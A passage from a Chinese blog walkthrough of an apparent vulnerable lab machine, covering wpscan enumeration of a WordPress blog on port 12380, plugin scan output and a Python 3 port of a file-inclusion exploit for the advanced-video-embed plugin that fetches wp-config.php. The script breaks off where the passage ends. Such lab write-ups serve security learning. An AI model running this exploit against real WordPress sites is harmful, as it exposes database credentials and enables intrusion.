 &lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/news/12473" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/12473&lt;/a&gt;
&lt;a class="link" href="https://www.freebuf.com/vuls/343731.html" target="_blank" rel="noopener"
 &gt;https://www.freebuf.com/vuls/343731.html&lt;/a&gt;
&lt;a class="link" href="https://blog.csdn.net/2403_88668158/article/details/146487087" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/2403_88668158/article/details/146487087&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="进shell的方法"&gt;进shell的方法
&lt;/h3&gt;&lt;h4 id="12380网页"&gt;12380网页
&lt;/h4&gt;&lt;p&gt;这里http不管怎么看都是没用的，要https&lt;/p&gt;
&lt;p&gt;扫描网站目录发现可用信息
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181937182.png"&gt;&lt;/p&gt;
&lt;h5 id="phpmyadmin-数据库管理后台"&gt;phpMyadmin 数据库管理后台
&lt;/h5&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315182331043.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315182640708.png"&gt;&lt;/p&gt;
&lt;p&gt;phpmyadmin界面对于已经[[#SSH 登录爆破]]拿到了登录密码的人来说用户不大，如果你本地没有Dbeaver之类的软件，也懒得用mysql命令的话可以用用。&lt;/p&gt;
&lt;h5 id="blogblog博客系统"&gt;blogblog博客系统
&lt;/h5&gt;&lt;p&gt;终于到主菜了，博客系统。打开页面就看到登录窗口和Wordpress的提示，上工具！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316092814691.png"&gt;&lt;/p&gt;
&lt;p&gt;先枚举用户：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316093332677.png"&gt;&lt;/p&gt;
&lt;p&gt;这里可以尝试一开始的[[#FTP登录用户名爆破]]登录进去的elly，但是很明显进去之后这个页面显示她不是管理员，只是普通用户。这里的密码可以用之前mysql爆破[[#获得blog博客系统的用户密码]]出来的，假如没有走通mysql的路子的话也不怕，还有洞。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316093240156.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描网站使用的插件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094155791.png"&gt;&lt;/p&gt;
&lt;p&gt;发现注册地址，上传目录。假如之后要穿shell应该能传到这个路径下面。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094242604.png"&gt;&lt;/p&gt;
&lt;p&gt;插件的扫描结果如下，来一个一个盘&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;i&lt;span class="o"&gt;]&lt;/span&gt; Plugin&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; Identified:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; advanced-video-embed-embed-videos-or-playlists
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 1.0 &lt;span class="o"&gt;(&lt;/span&gt;up to date&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2015-10-14T13:52:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Version: 1.0 &lt;span class="o"&gt;(&lt;/span&gt;80% confidence&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Readme - Stable Tag &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; akismet
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 5.6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2025-11-12T16:31:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: &lt;span class="m"&gt;403&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; The version could not be determined.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; shortcode-ui
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2019-01-16T22:56:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; The version is out of date, the latest version is 0.7.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Version: 0.6.2 &lt;span class="o"&gt;(&lt;/span&gt;100% confidence&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Readme - Stable Tag &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Confirmed By: Readme - ChangeLog Section &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; two-factor
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Latest Version: 0.15.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Last Updated: 2026-02-17T13:21:00.000Z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Directory listing is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; Found By: Known Locations &lt;span class="o"&gt;(&lt;/span&gt;Aggressive Detection&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: &lt;span class="m"&gt;200&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; The version could not be determined.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h6 id="advanced-video插件"&gt;advanced-video插件
&lt;/h6&gt;&lt;p&gt;搜锁之后发现一个文件包含的漏洞&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316094717588.png"&gt;&lt;/p&gt;
&lt;p&gt;下载后添加对SSL的支持，和改成python3的语法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib.request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib.error&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 忽略 SSL 证书校验&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_create_default_https_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_create_unverified_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://172.168.169.131:12380/blogblog&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 改成你的靶机 IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;randomID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100000000000000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;objHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/wp-admin/admin-ajax.php?action=ave_publishPost&amp;amp;title=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;randomID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;amp;short=rnd&amp;amp;term=rnd&amp;amp;thumb=../wp-config.php&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;objHtml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\d+&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="c1"&gt;# Python3 整除用 //&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;objHtml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/?p=&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
